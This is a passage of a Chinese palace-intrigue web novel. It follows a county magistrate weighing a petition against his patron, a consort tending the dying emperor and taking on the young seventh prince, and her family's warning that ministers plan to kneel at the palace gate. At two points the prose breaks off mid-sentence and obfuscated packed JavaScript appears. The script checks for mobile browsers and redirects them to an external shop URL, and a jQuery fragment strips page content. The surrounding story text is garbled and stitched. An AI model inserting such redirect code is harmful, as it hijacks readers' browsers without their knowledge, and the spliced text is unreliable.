年久失修的木门叫唤一声,将伏案打盹的何夫人柳小鸾惊醒。她下意识抹了把嘴角和下巴,看到油灯火苗左右晃动,这才看向大门方向。 “你可算回来了。轻点,纨奴和小蕙刚睡着。” 柳小鸾快步迎上,利索地关上大门,接过丈夫脱下的大氅,一边埋怨:“两个孩子还要等你回来看功课,巴巴写了一天的字,怎么都不肯睡,好不容易才哄上床。你这是去哪儿了,怎么现在才回来?明天记得看看他们写的功课,答应他们的可别食言。” 何舂转过头,灯光照出眉间折痕,看得柳小鸾一愣,“今儿这是……” “出了点事。” 何舂从官服袖子里掏出状纸,因为一直带在身上,都被捂温了。 他把状纸放在桌上,用镇尺压住,一边将白日发生的事说了,末了竟问起夫人的意见:“……元辅待我有恩,但此事证据确凿。依你之见,我该不该管这事?” “状纸都拿回来了,咱们何老爷心里不是早有答案了吗。” 柳小鸾翻了个白眼,出门去提热水,进来后发现丈夫还像根木头一样杵在桌前,不觉失笑:“既然心里有答案,又怎么愁成这样?自贬来这地儿,你就有点畏缩了。” 何舂不言,望向自己的妻子。妻子未至而立,却荆钗布裙,手上有操劳的老茧,发间偶尔可见银丝。 他确实畏缩了。 这一次被贬,小女儿差点病死在路上。县令年俸仅八十石,连师爷的钱都给不起,上任一个月家中积蓄就告罄,以后还不知怎么过日子。 他不惧一死,所以从前连皇帝都敢骂。 可当头顶的铡刀撤去,现实慢慢叫他看清,自己也有怕的东西。 一直听不到声音,柳小鸾慢慢走到丈夫跟前,凝视着他的眼睛:“你在怕什么?这可不是我嫁的何仲实了。” “我……” 何舂眼神躲闪,不敢把心里话宣之于口,只能道:“束阁老不仅待我有恩,而且据我所知,他生活极其俭朴,族人想来是瞒着他行事。可我若把这状纸递到皇帝跟前,他必无法置身事外。” “既然做不到视而不见,那就不要做庸人自扰之事,束阁老持身端正,但血脉难断,枯荣相承,这样的道理他不可能不懂。身为阁臣首辅,更该约束族人,族人在乡下为非作歹,不论他知不知道,都难逃其罪。实在不行,你在之后为他奔走求情便是。” 何舂吐出一口气,这才发现柳小鸾正把热水往洗脚盆里倒,忙接过来,苦笑道:“夫人真乃伶牙俐齿,我再想想,再想想。” 21. 认亲 浮生恰似冰底水,日夜东流人不知。 不知不觉间已是腊月廿四。 主敬殿门窗紧闭,浓郁的药味掩盖了陈朽的味道。金钩挑着的床幔下,躺着老态龙钟的帝王,厚重的被子下只有微弱的弧度隆起,像盖着一层脱水的纸浆。 “你在这儿一整天了,回去歇歇吧。” 跪在床边脚踏上的乔燕将空药碗放下,从袖中取出绸帕,细心地擦去文景帝唇边褐色的药液。 “妾再候一会儿,等您睡着了走。” 文景帝吃力地喘了两声,闭上眼。 “鲜花一样的年纪,却整日陪着我这个糟老头子,心里不怨吗?” 乔燕每日到主敬殿侍疾,旦起夜归,风雨无阻,比几位皇子公主来的都要勤。文景帝看在眼里,感动之余又生猜忌。这位人主早已过了相信真心的年纪,看多了勾心斗角,他深信,人们不论做什么,大多怀着利己目的。那乔燕呢? 这个想法每日都盘桓着,困扰着他。日数愈久,困扰愈深。 心思深沉的上位者本不会轻易将疑心斥之于口,但文景帝终于还是忍不住还是问了出来。 乔燕走到桌边,一边收拾食盒,一边很平常地说道:“您对妾有恩,妾身无怨。” 文景帝没再说话。 乔燕把食盒交给外面的宫女,再回内间时只闻沉重的呼息。她放轻脚步走到床边,看到文景帝合着眼,于是去解床边的帘幔。 就在这时,主敬殿的总管太监卢柴掀开门帘,在外面探头探脑。乔燕生怕惊醒文景帝,亲自走过去,压低声音问:“怎么了?” 卢柴也压低声音:“陛下睡了么?秦王、赵王、七皇子三位殿下来请安。” 乔燕听着新奇:“他们是一起来的?” “是。” 乔燕扭头看了一眼,若文景帝没有睡着,这时也该有动静了。 “圣上睡了。” 卢柴机灵地道:“那奴婢请三位殿下去偏殿喝茶。” “你去吧。” 不论背后斗得如何你死我活,至少在主敬殿,赵王和秦王仍维持着兄友弟恭。有几次乔燕来侍疾,就撞见他们在外间其乐融融地下君子棋。 打发走卢柴,乔燕走回床边,准备坐在脚踏上歇一会。却不想本以为睡着的文景帝忽然幽幽开口:“你也下去吧。” 喘了口气,文景帝又道:“守了一天了,你的心我都知道。” 侍疾这么久,这还是第一次听文景帝说这样熨帖的话,乔燕不由有些受宠若惊。 想了想,乔燕应承下来,走到门边,又听文景帝道:“让他们也回去,我今日不想见人。” 因着这一句,乔燕离开主殿后去了侧殿。主敬殿作为帝王起居之所,就算是侧殿也隔出了一间暖阁,建了地龙。一入门暖气闹哄哄地往鼻子里钻,乔燕刚经历过一热一冷,乍然受到干热的暖气,没忍住打了个喷嚏。 除了宫人们纹丝不动地垂着头,正在下棋、观棋的三个人全都看了过来。 双方见了礼,赵王含笑问:“爹醒了吗?” 乔燕站在门边说道:“圣上疲累,不欲见人,怜三位殿下在此久候,故命我来传话,请三位殿下回府。” “还是爹体恤儿子们。” 下棋的人心思也不在棋局上,赵王索性松开指间的黑子,啪的一声落回棋罐,微微一笑:“我还有事,这棋下次再跟二哥下吧。” 秦王并不苛求,收了手置于膝上交握,“下次再下。” 又看向乔燕:“圣上身体如何了?” “圣上这几日谨遵医嘱,一切如常。” “那就好,希望圣上能早日安康。”秦王这话说得十分诚恳。 赵王无声一叹:“要是可以,我倒宁愿替爹受这份病痛。” 主人公都不在,表忠心到这个份上就有些虚伪了。但是赵王神态自然而悲切,并不令人反感。他这话一出口,旁人都默了一默。 一旁才六岁的七皇子左右瞧瞧两位兄长,才醒悟轮到自己了,却还未修炼到家,只能干巴巴地说一句:“阿爹肯定会好的。” 乔燕道:“三位殿下孝心亶然,圣上若是知晓,定然欣慰。” 赵王再开口,却说道:“娘娘也要照顾好自己的身子,方才听着,您似乎有些受风,若是得空不如请医官看一下,父亲这边还有劳照料。” 他这番孝心表得乔燕受宠若惊,想了想,觉得他说的不错,自己刚刚确实打了个喷嚏,这个节骨眼上可别再生了病,于是应下。 屋外大雪不停,就这么一会儿的工夫,刚扫的地面又积了糖霜似的一层雪。 赵王还要去工部处理事务,先行一步。秦王紧随其后来到廊下,长随太监撑开伞拄到他头顶,一边摆开袖子,低声提醒:“地上滑,您慢点。” 秦王往台阶下踩了一步,不知想到了什么,回过身问道:“你跟前的奴婢呢?” 乔燕就站在他身后,闻言微惊,又反应过来这话不是和她说的,于是看向了低着头的七皇子,欲言又止。 秦王道:“恒奴。” 恒奴是七皇子李琢的乳名。小小的人儿站在门内,袖子下的手拧在一起,小声道:“我也不知道……没事,等一会儿就会来了。” 七皇子的生母家世不显,怀胎时文景帝已修道净心多年。那年文景帝得了怪病,久病难愈,问天观的道士为其卜了一卦,卦象显示皇帝命中还有一子。文景帝信以为真,宠信了没有位份的孙氏,说来也奇,只一夜孙氏就怀上了,并且文景帝的怪病不治而愈。 孙氏产下皇子后,母凭子贵晋为贵人,只是文景帝年事已高,鲜少过问这对母子。孙贵人素来低调谨慎,不争不抢,把七皇子也养成了这幅胆小木讷的模样。 秦王眉头微蹙,伸出手说道:“二哥送你。” 秦王从前久居东宫,如今虽有收敛,骨子里的威仪仍在,这下眉头一皱,登时如同一个翻版的年轻的文景帝,吓得李琢脸色发白,连连摇头。 乔燕见状,想了想,转过身蹲在七皇子跟前,捂住他的手,仰头柔声询问:“我送殿下回去吧?” 李琢乌溜溜的大眼睛与她对视了片刻,轻轻点了点头。 乔燕展颜一笑,拉着李琢的手站了起来,朝秦王道:“我和七殿下顺路,就由我送他回宫好了,天色将暗,外面雪还不知有多深,秦王殿下不如早些出宫回府。” 一片雪花调皮地顺着风钻入廊下,沾在睫毛上,她下意识眨了下眼,抖落那片雪花。 秦王的视线不知为何被那片雪花牢牢吸引,手指微动,很快收入袖中,负于身后,微一颔首:“那就有劳乔娘娘了。” 乔燕牵着李琢,身后宜婵打着伞,沿着踏跺慢慢往下走。 李琢腿短,步子迈的大,忽然一个打滑,拉着乔燕朝前倒去。宜婵惊叫一声,匆忙中只来得及扔下伞,拉住自家主子,眼睁睁看着李琢摔坐在台阶上,一路往下跐溜。 “殿下!” 好在前面不远处的秦王听得动静,回身一捞,将六岁的幼弟揽在了怀里。 周围的太监宫女,有一个算一个,全都跪了下去。尤其有几个吓得直打哆嗦,他们是负责铲扫地面薄雪的人,此事一出,也不知焉有活路。 乔燕惊魂甫定,急匆匆跑下去,拉住李琢的手,焦急地上下打量。 就这么看去,除了衣服脏了些,手上蹭破了一层皮,瞧不见其他伤处。乔燕心里到底不放心,有些摔打伤在内里,须得经医官查看过才行。 “您没事吧?有没有摔疼?宜婵,快去请医官。” “等,等等!”李琢挣开秦王的手,自己站好,摇了摇头,瓮声瓮气地道,“是我没有站稳,方才差点连累娘娘也摔了。”一顿,又央求道:“不要请医官了,我不想让母妃担心……” 声音虽小,却清晰流利。 乔燕心里微热,却没有立即答应,李琢立马扭过脖子,有些生涩地喊道:“二,二哥。” 秦王拒绝:“不行,这一摔不知轻重,得好好检查才放心。” 李琢抿唇,看起来有些生气,扭过身子要走。 秦王眉头一皱,拎住他的后领,一大一小兄弟俩竟就这么僵持住了。 乔燕有些无言以对,秦王这么大的人了跟小孩子较什么劲。 宜婵方才被李琢喊住,此刻还站在一边等着主子拿主意,乔燕想了想,吩咐道:“去请太医到我宫里。” 又蹲下身,直视着小孩的眼睛,哄道:“遣人去孙娘娘那儿报个平安,殿下去我宫里坐一会儿,我那儿有点心吃,您看可以吗?” 李琢小大人似的松了口气,赧然地点了头。 乔燕也跟着松了口气,站起身。 就在方才卢柴闻得动静,小跑过来问询,从跪着的太监嘴里得知了经过,便候在一旁,见几位主子话落了,方小心问道:“七殿下可有要事?” 问的是七皇子有没有事,其实是在请询主子事出大小,是否要从睡梦中惊醒文景帝。 秦王平声道:“父皇难能休息,不必特意惊动他。” “是。” 脚边还跪了一地的宫人,地上寒气逼人,再加上心中惊惧,有些唇色已经青了。 其实今日之事怨不得他们,雪厉且疾,才扫去一层,眨眼就又铺来一层,称得上天降横祸。 乔燕心生同情,怕秦王张口就要治他们死罪,抢先叱道:“今日是谁负清扫雪路?” 六个青衣太监心如死灰地膝行出列。 “你们职责有失,按规当杖八十,”不等几人哭喊,又话音一转,“然大雪不停,主敬殿这个时候缺不得人,便先罚你们两年俸禄,以此为戒,日后当值,更要上心。” 说完,才看向秦王:“殿下,您看如何?” 秦王深看她一眼,并无异议,“娘娘思虑甚周,就这么办吧。” 六个人这才惊觉捡回一条命,纷纷哭着磕头。 入夜后,乔燕沐浴完毕,散着湿发坐在梳妆台前。乌黑柔顺的黑发一直逶迤到脚踝处,在烛火下反射着绸缎似的光泽。齐思嘉跪在脚边,用布巾慢慢吸去发尾的水气。 门帘微动,乔燕透过镜子看去:“人送回去了?” “奴婢亲自把七殿下交到孙娘娘手里,孙娘娘问起七殿下手心的伤,殿下只说玩雪时不小心摔了一跤,没有提从踏跺上滚下来的事,奴婢便也没多嘴。” “七殿下一片孝心,但知子莫若母,七殿下不是贪玩之人,他这么说,恐怕反而会弄巧成拙,令孙贵人更担心,”乔燕叹了口气,“他和孙贵人这些年在宫里生活不易,难免敏感拘谨。今后但凡力所能及的事,能帮衬就帮衬一点。” “是。” 宜婵走到案边,接过齐思嘉手里的布巾,小丫头意会,行了一礼退了出去。 宜婵动作轻柔地用布巾绞上发尾:“娘娘。” “嗯?” “从主敬殿回来后您便时时出神,奴婢不知您心里压着什么事,只希望您能轻省些,能少些心事。” “让你担心了。” 乔燕一弯唇角,却看到了镜子里毫无笑意的眼睛,骤然一愣,才提起的唇角又慢慢放了下去。 白日主敬殿前的那一幕又浮现在她眼前。那么多奴婢,那么多的人,跪在他们脚边,等着一句话去定夺生死。 好轻飘的一句话,怎么可以就决定了那么多人的性命。 怎么能不对权势趋之若鹜?沼泽里的人若不拼命往上攀,就只能沉下去。 “娘娘。” “嗯?” “今日下午春山来过一趟,上次您救了他一命,他想给您磕个头……他伤好回去的时候您不在,司礼监那头又催得急,他就先回去当差了,这几日一寻摸到空闲就过来,可惜您都不在。” 乔燕压低声音:“这件事先放一放,以后再说吧。圣上近来倚重我,我片刻不能离。这么个节骨眼……还不知道这个年要怎么过呢,宫里人心浮动,多事之秋。金春山那边你也跟他说一说,最近少往后宫跑,也少揽差事。” 又两日,腊月廿六,从主敬殿出来,乔燕忽然被人喊住。 “惠娘娘。” 双人合抱的古桐树后,一只毛绒绒的脑袋探头探脑,乔燕惊诧道:“七殿下?” 李琢小跑过来,乔燕蹲下身,拉住他一只手,发觉早已冻得冰凉,连忙将自己的手炉塞过去。这条路是东六宫通往主敬殿的必经之路,是以乔燕问道:“殿下要去给圣上请安吗?您身边的人呢?” 李琢捧着套了绒布的手炉,偷偷觑眼乔燕的脸色,只道:“我偷溜出来玩的。娘娘能不能,能不能送我回母妃那里。” 说话的同时,他目不转睛地注视着乔燕的眼睛,只是毕竟年纪尚幼,再怎么故作自然,还是漏了一点儿怯。 乔燕故意说道:“我让昨天送您回去的宫女送您。” 李琢一急,下意识拽住了她的袖口。 乔燕问:“怎么了?” “我,我想你送我。” 李琢垂头丧气,几乎已不抱什么希望。却不想竟听乔燕说:“好啊。” 李琢呆住。乔燕拉着他的手,含笑站了起来:“只有一个步舆,我们恐怕得走过去了。” 李琢忙道:“你乘舆吧,我是男子,我走就行。” 看着李琢言之凿凿的模样,乔燕不由莞尔,眼见李琢在笑声里慢慢羞红了脖子,乔燕终于不再逗他:“我是大人,我走也行。” 东六宫之中有一宫名为含章宫,曾是淑妃的居所,淑妃于二十年前难产去世,在那之后主宫便空悬至今。含章宫两侧的配殿住着两位贵人,其中孙贵人有皇子傍身,另一位贵人便矮她一分,平日从不生事,这关起门来的日子过得倒也算自在。 乔燕一行才到门外,就有宫女迎了出来。这宫女看穿着装扮,似是有品级的一宫掌事。含章宫的主人已经过世,隐隐以孙贵人为大,掌事投靠孙贵人且在情理之中。 果然,宫女福了一福后,开口便道:“奴婢含章宫掌事吴采薇,见过惠嫔娘娘。” “免礼。我此行乃是为了送七殿下回来,既将人平安送到,我就 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“是,我自然知道。从太祖起,没有子嗣的后妃须死殉。但自武帝后,连续两任先帝都取消了这一旧俗。当今潜心修道,心怀仁慈,想必也不会再循恶旧。孙姐姐说这些做什么?我膝下无子,但也没有性命之忧。” “惠姐姐想多了,我没有别的意思。提这件事只是想说……您能否认七殿下为干儿子,以后恒奴必定事您如母,等他封王,亦可将您带到封地,不在这宫中受磋磨。” 她说的天花乱坠,乔燕说不心动是假的。可是世上哪有这样天上掉馅饼的事。 乔燕似笑非笑:“听孙贵人这样说,我是占了天大的便宜。可我这个人素来不喜欢占便宜,要知道,小利之后必有大患,孙贵人能在宫里活到今天,岂能不明白这个道理。” 说完,起身就要走。 眼见一席话竟得罪了乔燕,孙贵人暗恨自己莽撞。 “惠嫔娘娘!” 孙贵人扑上前,拦住乔燕的去路,缓缓跪在地上。 乔燕停下脚步,面无表情:“祖宗礼法不认所谓干亲,孙娘娘不要拿这些无名之事诱哄我,如果再不把话说明白,我就走了。” “我知道错了,姐姐听我说,此事是我求您。恒奴注定与皇位无缘,我也乐得看他活得简单,只待成年后就藩,做个闲散亲王。只是瞧圣上的模样,恐怕时日无多,不论哪位皇子继位,有谁能忍得一个年轻力壮的弟弟呢!妾每每想到都惶恐难安,在此恳求姐姐,姐姐在圣上面前颇有脸面,若有机会,能否在圣上前面美言一句,让他能以幼龄封王,去了封地山高水远,也算能保得此生富贵无虞……姐姐若能促成此事,就算改了玉牒,把恒奴记在您的名下,我也毫无怨由。” 孙贵人抬起脸,脸颊上不知何时早已布满了清泪。乔燕低头看着,看她跪在身前,有那么一瞬,想到了自己的姨娘。 十三岁那年,京师城外有个观音庙,据说求平安很灵,姨娘自来到北京后低调行事,足不出户,却在听说这件事后,破例求到主母跟前,带着她去拜了一趟。 不想下山时遇到贼人。贼人见四下无人,起了歹心。姨娘苦求无用,把她护在怀里,蜷缩起身子,活活被砍死。 姨娘死后,护着她的胳膊竟也像石头一样坚硬,怎么都扒不开,十分奇诡。贼人心生畏惧,不敢下手,她才逃得一命。 后来,那段记忆她莫名全都忘了,还是靠救下她的冯矩口述,才拼凑出一二。唯一有印象的,就是一个血腥又安心的怀抱。 是不是世上的母亲都是这样?为了孩子,不论多么失去尊严、多么自甘卑微,都可以做。 多么无所不能无坚不摧。 “今日这番话若传出去,别说七皇子的爵位,你我也活不了。” “您放心,从我这绝不会传出分毫。” 孙贵人能平安养大一个皇子,这点能耐还是有的。 乔燕重新坐回去。 对于孙贵人最初的哄骗,不是不恼怒,但看着一个母亲跪在地上不肯起身的模样,那点怒火就后继无力了。 在这宫里,一个无依无靠的女子,和一个无权无势的孩童,除了寄托于他人的好心,还有什么自保之力? 她又起了恻隐之心。 若是说出去,怕是会有人笑话她心软良善。可是什么时候,这些词也成贬义了? 更何况,她确实缺一个傍身的孩子。 “我答应你。” 孙贵人怔忡片刻,跌坐在地,痛哭出声。 乔燕:“但丑话说在前头,若我没有找到合适的时机……” 孙贵人连连摇头:“姐姐能答应,我感激还来不及。来人!去把七殿下请来。” 不一会儿,筎阳牵着六岁的孩子走了过来。 应是孙贵人早有吩咐,李琢看了眼自己的娘亲,在她的眼神示意下走到乔燕跟前,一板一眼地跪地行礼。 筎阳端来一杯热茶,李琢接过,奉到乔燕跟前。 “请娘娘喝茶。” 事情未定,现在喝茶有点早,但乔燕没有开口,只是默默接过,两口喝尽了,放到一旁,看着眼前还很稚嫩的孩子。 他有一双干净纯真的眼睛。 这个寡言内秀的孩子,以后或许就是她的半子。 世事无常,当真奇妙。 “起来吧,恒奴。” 李琢乖乖起身,乔燕牵过他的小手,心中柔软。摸了摸孩子的头顶,乔燕开口道:“此事先不宜声张,须得过了帝后的耳,才真的作数。” “那是自然,”孙贵人连连点头,“姐姐答应就好。” 乔燕已经打算离开,却又想起一事:“恒奴身边的宫女太监呢?为何总是不见人影?” 孙贵人面露窘迫,“此事说来话长……他小时候曾误食毒物,好在救了回来,自那之后,我谁都不敢信,事事躬亲。一晃这么大了,眼见就要入筵启蒙,身边是少了人,只还没来得及和皇后提。” 乔燕点点头,孙贵人既然心里有数,她便不再多话。 22. 叙旧 大齐门内扎堆着各部衙门,眼见快到年关,数不清的陈文积案亟待解决,又逢三年一朝,地方司吏纷纷入京述职,各司属忙的团团转。 不过好在腊月廿八这天正午结了差事,官员们喜气洋洋地下值,从今天起他们将有七天的休沐,正是一年中难得的放松时间。 礼部衙门内,半空的舍内,青年官员终于写完最后一个字,正搁笔晾墨。 他穿着青色补服,不苟言笑的神情多少有些令人不敢接近。 “乔郎中!” 乔湛侧过头,同在礼部共事的文建入了门,迎面抱拳三分笑:“新春大吉呀乔郎中。宋侍郎差我来问一声,给鸿胪寺的札付写好没。” “已经好了。” 乔湛取过桌上行文,双手递上。 文建收入袖袋,一边抱怨:“这一到年底,别的衙门休沐了,就咱们礼部不得闲,事儿一件接着一件,得一直忙到初七。上头的人还能做甩手掌柜,剩咱们几个属官当值,我们商量着今夜忙完这阵喝一杯,你要不要一起?” 他们往日也不算熟稔,不过几个年纪相近的属官约好小酌一杯,不带上乔湛有些失礼,是以才有此一问。 “不了。” 此话一出,文建脸上的笑便有些淡。乔湛只是不太擅长人情世故,脸色还是会看的,从前不屑应付,如今低头看路,心情却多了些许陌生的晦涩。 于是补充道:“午后要随家中长辈进宫探亲,不好辞却。此番我去不了,辜负你们美意,年后由我做东且作赔罪。” 文建瞪大眼,不敢相信这是乔湛能说出的话,笑容浓厚三分,拍了拍他的肩,似笑似叹:“你啊……” 午眠醒来竟已至暮色四合,黎月掀帘入内间的时候,乔燕恰好坐起身,扶着有些昏涨的脑袋,忍不住埋怨:“我这一觉睡好久呀,怎么不来叫我!” 说是埋怨,却无盛气凌人,只有初醒的娇憨,听在耳里倒像是撒娇,黎月根本不怵,笑着哄道:“您昨夜侍候了圣上整晚,好不容易睡个囫囵觉,是奴婢让她们不要喊您。” “什么时辰了?” “申时一刻。” “遭了,”乔燕霎时清醒,连忙下地,“和父亲他们约的申时,我睡到现在,他们恐怕等很久了。” 黎月屈膝跪地,捧着鞋履套到乔燕的脚上,轻声细语:“您莫急,他们是您的至亲,体贴您的操劳,也有心让您多睡会儿。宜婵让我守着您,她自个儿正在暖阁陪着说话。” 穿好鞋,黎月扶着乔燕起身,唤来小宫女们,将主子利落地拾掇了,簇拥着去了暖阁。 暖阁内,乔家三人已经等候多时,正由宜婵陪着喝茶。 入宫前宜婵也不过只是乔家一个不起眼婢女,如今再见却已成为有品级的一宫典事,与乔家人坐在一处也不失大方。 两边都有心与善,谈话便其乐融融。正说到宫中名菜玉脂芙蓉时,外面传来了脚步声。 宜婵断了先前的话,起身微微一笑:“诸位少坐,我去看看,当是娘娘来了。” 一时间,乔家三人都正襟危坐。 说起来,这是自将乔燕送入宫后首次见面,短短半年,乔燕的身份已是天壤之别,乔家从前待她不算厚道,后来又承厚恩,如今相见,便多了说不清道不明的愧疚和忐忑。 宜婵拉开门,乔燕恰好走到廊下。 乔家三人纷纷起身相迎,乔湛站在最后,远远看到幼妹巴掌大的脸陷在银狐毛领中,像雪地里的一支玉芙蓉,衣着华贵,脸色红润,不由微舒一口气。 那日冯矩的话始终在耳边回响,激荡着他的良心,他不由一日日地在心里责问自己,连冯矩那样的外人都在为乔燕不值,为何他们这些家人却从未过问她的牺牲。 没有谁的奉献是必须的,如果受益者忘了感激,那这样的奉献不免蒙上了一层可悲。 这些日子,他一直怀着这样的歉疚,直到此刻相见,愈觉心情复杂。 原本听说来了一位郎君,乔燕还以为是更为亲近的四郎乔翀,见到乔湛,难免心中纳罕,等见完礼,让了坐,便问道:“四哥呢?” 提到乔翀,乔父露出似喜似忧的神情:“四郎准备参加来年的春闱,正是用功之时,半月前和同窗一起去安平县拜访大儒,尚未归来。” “明日便至岁除,四哥不回来过年么。” “你四哥他……”乔父话语一顿,似有难言之处,末了苦笑一声,“自你入宫后,他便格外有主意,我们管不住他了。” 乔湛静坐末席,听到此处,方说了一句:“四弟明年及冠,也该有自己的主意了,这多事之秋,京中暗潮汹涌,他在外也是好事,家里便没多约束他。” 接下来便是惯常的寒暄,将衣食住行一一关怀遍,乔燕有问必答,笑语晏晏,看起来比从前从容大方,雍容端庄。 可她好像也变得不像她了。 乔湛安静听着,一时有些走神。他还记得,乔燕刚回北京的时候,常常一个人躲起来玩,吓得下人们到处找,有一回他路过,看到母亲因为乔燕又一次“失踪”站在院子里大发雷霆,一时心软,走过去找了个理由支开母亲,又遣散下人。 院子里空无一人,他站在树下,低声道:“还不下来吗?” 一阵风吹过,浓密的树冠微微摇晃,发出沙沙声响,他摇了摇头,离开院子。走了许多远,忍不住回头,果然看到瘦小伶仃的身影猫儿一样从树上滑下来。 那是他的妹妹,在姑苏乡间长大的野丫头……仪态万方的深宫娘娘。 是什么把她塑成这样?从前他总能理所当然地推给万般可恶的命运,可这一刻他忍不住想,为什么不是他这个无能为力的兄长? 都是他不够优秀,不能在大祸临头的时候担起整个乔家,乃至五娘入宫换阖家太平。 看着乔燕唇畔的笑容,乔湛忽而有些觉得刺眼,他端过手边的茶杯,喝了两口,平复心情。 乔燕在谈笑声中慢慢放松下来。 踏入这里时,她还有些紧张。尽管早已习惯做一名上位者,可对她来说乔家是不一样的,乔家存着她少年时期的自卑懦弱,以致一想到乔家,本能地觉得胆怯。 但是这一番交谈里,乔夫人的妙语连珠,二老爷的不卑不亢,都让她意识到,她早已不是那个仰望着大人的少女。 血缘亲情是很神奇之物,看不见,摸不着,但她知道它就在那里,在灵魂的根底,当这份缘浅了,根就摇摇欲坠。她也曾怨过恨过不屑一顾过,可也许在她自己都不知道的心底深处,渴盼从未消失过。 看着父母眼里偶尔闪过的歉疚,乔燕很难描述自己的心情,如腐草生萤火,亦或是旧苑荒台草木新,心中揉皱的宣纸在慢慢抚平。 那就这样吧。她忍不住在心里轻轻一叹。 这次探亲,除了看看乔燕过得如何之外,另有消息需要互通有无。寒暄之后,乔父便悄悄指了指主敬殿的方向。 乔燕摇了摇头:“不好。” 乔父迟疑片刻,压低声音问:“那……能到什么时候?” 乔燕这回只摇头,没有出声。 乔父跟乔湛对了一眼,低声道:“你知道猷贺吗?” “五城兵马司指挥使,略有耳闻,偶尔也在堂上见过,只是不曾有过接触。他怎么了?” “当年为了这个指挥使的位置,冯忱亲自主持廷推,曹祭酒查看往年的考评,举荐了这位寒门出生的武士,谁知是为赵王作嫁衣裳了。” 乔燕吸一口凉气:“他是赵王的人?” “赵王有一位侧妃,已病逝许多年。我们如今才知晓,那位侧妃乃是猷贺的表妹。曹祭酒是个直脾气,知道这件事的时候,气得跑到猷贺府上骂了一天,最后被人恭恭敬敬送出来,一点儿办法也没有。” 五城兵马司这个位置很微妙,掌管着京中治安,非圣人心腹不能当。当年廷推选出的几个名额之中,只有猷贺明面上没有靠向任一派系,圣人最后这才点的他。 没想到赵王这颗钉子竟埋的这样深。 这件事若往里头细想,还有更大逆之处。 乔燕嘴唇有些干,喝了一口茶水:“赵王,赵王瞒了这么多年,为何突然不再捂着了……这颗棋由暗转明,他们是不是,是不是准备……” “娘娘!” 乔湛一声低喝,乔燕看过去,乔湛低声道:“放下杯子吧。” 乔燕这才意识到自己的手一直在抖,被乔湛惊醒,把交握在手心的瓷杯搁至桌面,却还是难以平下心境。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17076571|193889||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 乔父道:“谁都不想走到那一步……时日不多了,元辅他们准备跪乾明门,向圣人施压。趁圣人还清醒,早日把东宫定下来,昭告天下,赵王就没法动手了,这是最好的办法。” 乔燕注意力全被“跪乾明门”吸引:“多少人?什么时候?” “文臣寒士,共计一百二十八人,”说到这里,乔父顿了一顿,忍不住闭上眼,吐出一口气,“元辅有个幼孙名为束阳,在翰林院做修撰,参与编修《齐志》,听闻有文章仍缺一些关键,需要旧地考察,束阳为此已经去了琉球。启程那日,束继文亲自送幼孙出京,回来后便闭门不出。 乔燕说不出话。 束继文此举“留后”意味甚浓,恐怕已经做好砍头的准备,君臣之间怕要不死不休。 默然良久,乔燕又问了一遍:“什么时候?” 乔湛说道:“正月初一。” 新年伊始,这样一个特殊的时间,未尝不饱含某种对未来的期许。 乔燕道:“我们家不能有人去。” “你大伯的意思和你一样。束阁老递过一次帖子,他闭门不见,便未再有人找上门来。” 乔广川本就是个圆滑之人,自乔家走了裙带关系重振门楣,更是抛开脸面,领着乔家将明哲保身这条路走到底,作出这样的决定并不稀奇。 乔燕忍不住看了眼乔湛,见他一言不发,竟不似从前那般的一味追循那群儒士,不由暗暗称奇。 挣扎片刻,乔燕迟疑道:“此事圣人必然大怒,不知会有怎样的结局。如今他正是信任我的时候,我在他身边策应,说不定能帮衬一二。” “这……”乔父和乔母面面相觑,“你大伯不让我们掺和,娘娘也不要掺和了吧……” 乔燕却下了决心,“我心里有数,不会连累家里。” 君子有所为,有所不为。 能做什么,该做什么,她都清楚。她有自己的判断,也有自己的立场,做不到以天下百姓为先,做些力所能及的小事还是可以的。 乔父还要劝,乔湛忽然开口:“娘娘要做什么,就去做吧。” 乔燕怔住。 乔湛抬起头,看向这个熟悉又陌生的妹妹,神情复杂。 伴君侧岂是容易的事,说句大逆之话,伴君如伴虎,如履薄冰都不为过。然而妹妹不仅活下来了,更是简在圣心。 她或许比他们想的还要有智慧。 “想做就做,不要怕连累家里,家里还有我们。” 乔燕怔怔地看着,听着,胸口一酸,一股不知哪来的委屈忽然涌了上来。 可她早已过了坦然向家人哭诉委屈的年纪。 她只是朝乔湛笑了笑,然后默默平复心情。 安静中,乔燕思绪纷乱,也不知怎的,猛地想起一个人,脸色陡变:“四哥!四哥该不会……” 她的目光与乔父对上,乔父起初怔忡,后来明白了她的意思,吓得站了起来。 “他不敢……他不敢……” 以乔四那冲动的性子,很容易就会被人撩拨,而就在这联名逼政的关头,他忽然家都不回…… 乔父六神无主地来回踱了两圈,说道:“我这就去把那个孽子逮回来!” 乔家人走后许久,乔燕还一个人在暖阁里坐了好一会儿。 天色已经暗了,没有她的允许,无人进来点灯,于是满室生幽,更衬得心里浪潮翻涌,不知歇时。 这个时候她才有空慢慢思索今日的对话。 束继文竟要跪门逼政。 这是昏招。 文景帝不是能被逼的人,他沉迷练仙丹的时候曾想用处子鲜血入丹,大臣们劝阻不听,于是跪在承天门前撼门痛哭。这其实是大齐的文臣们与皇帝博弈最常用的招数,那时候文景帝继位还没多久,文臣们不清楚他的脾性,老调重弹,却不想踢到了铁板。 那一回的参与者,如今都没有一个能留在京直隶,从那之后,再没出现过类似的“集体就义”。 束继文与文景帝君臣相伴几十年,想必深知这一点,却还打算这样做,是箭在弦上,放手一搏,不成功便成仁。 但乔燕总觉得,束继文还有后手。一个宦海沉浮数十年的老人,不会做这种以卵击石的无用功。 23. 除夕 腊月廿九。 文景四十年的最后一个夜晚,西苑的广寒宫灯火通明。 